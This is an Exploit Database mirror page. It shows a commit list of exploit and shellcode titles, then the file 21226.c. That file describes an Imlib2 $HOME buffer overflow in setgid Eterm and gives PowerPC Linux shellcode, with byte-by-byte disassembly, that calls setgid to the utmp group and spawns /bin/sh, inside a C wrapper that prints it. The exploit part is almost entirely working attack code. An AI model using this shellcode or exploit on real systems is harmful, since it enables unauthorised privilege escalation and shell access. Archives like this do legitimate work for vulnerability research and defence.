exploit-db-mirror/exploits/linux/local/21226.c
Offensive Security 880bbe402e DB: 2019-03-08
14991 changes to exploits/shellcodes

HTC Touch - vCard over IP Denial of Service

TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities

PeerBlock 1.1 - Blue Screen of Death

WS10 Data Server - SCADA Overflow (PoC)

Symantec Endpoint Protection 12.1.4013 - Service Disabling
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow

man-db 2.4.1 - 'open_cat_stream()' Local uid=man

CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation

CDRecord's ReadCD - Local Privilege Escalation
Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH)
FreeBSD - Intel SYSRET Privilege Escalation (Metasploit)

CCProxy 6.2 - 'ping' Remote Buffer Overflow

Savant Web Server 3.1 - Remote Buffer Overflow (2)

Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow
QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)
Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)
TeamCity < 9.0.2 - Disabled Registration Bypass
OpenSSH SCP Client - Write Arbitrary Files
Kados R10 GreenBee - Multiple SQL Injection
WordPress Core 5.0 - Remote Code Execution
phpBB 3.2.3  - Remote Code Execution

Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
2019-03-08 05:01:50 +00:00

64 lines
No EOL
2.6 KiB
C

// source: https://www.securityfocus.com/bid/3868/info
Imlib2 is a freely available, open source graphics library available for the Linux and Unix operating systems. It is maintained by Michael Jennings.
Imlib2 is installed on many operating systems and linked with graphical programs such as Eterm. Some programs linked with the library are setuid, such as Eterm which is a setuid utmp program. In some cases, a buffer overflow in the $HOME environment variable may occurs, such as when the $HOME environment variable is filled with 4128 bytes and Eterm is executed. This can allow a local user to overwrite stack variables up through the return address, and execute arbitrary code. As the Eterm program is setgid utmp, this code would be executed with utmp privileges.
/* execve.c
*
* PowerPC Linux Shellcode
*
* by Charles Stevenson <core@bokeoa.com>
*
* original execve by my good friend
* Kevin Finisterre <dotslash@snosoft.com>
*/
#include <stdio.h>
char shellcode[] =
/* setgid(43) utmp */
"\x38\x60\x01\x37" /* 100004a0: li
r3,311 */
"\x38\x63\xfe\xf4" /* 100004a4: addi
r3,r3,-268 */
"\x3b\xc0\x01\x70" /* 100004a8: li
r30,368 */
"\x7f\xc0\x1e\x70" /* 100004ac: srawi
r0,r30,3 */
"\x44\xff\xff\x02" /* 100004b0:
sc */
/* execve("/bin/sh") */
"\x7c\xa5\x2a\x78" /* 100004b0: xor
r5,r5,r5 */
"\x40\x82\xff\xed" /* 100004b4: bnel+ 100004a0
<main> */
"\x7f\xe8\x02\xa6" /* 100004b8: mflr
r31 */
"\x3b\xff\x01\x30" /* 100004bc: addi
r31,r31,304 */
"\x38\x7f\xfe\xf4" /* 100004c0: addi
r3,r31,-268 */
"\x90\x61\xff\xf8" /* 100004c4: stw
r3,-8(r1) */
"\x90\xa1\xff\xfc" /* 100004c8: stw
r5,-4(r1) */
"\x38\x81\xff\xf8" /* 100004cc: addi
r4,r1,-8 */
"\x3b\xc0\x01\x60" /* 100004d0: li
r30,352 */
"\x7f\xc0\x2e\x70" /* 100004d4: srawi
r0,r30,5 */
"\x44\xff\xff\x02" /* 100004d8:
sc */
"\x2f\x62\x69\x6e" /* 100004dc: cmpdi
cr6,r2,26990 */
"\x2f\x73\x68\x00"; /* 100004e0: cmpdi
cr6,r19,26624 */
int main(int argc, char **argv) {
fprintf(stderr,"sizeof(shellcode)=%d\n",sizeof(shellcode));
//__asm__("b shellcode");
printf("%s",shellcode);
return 0;
}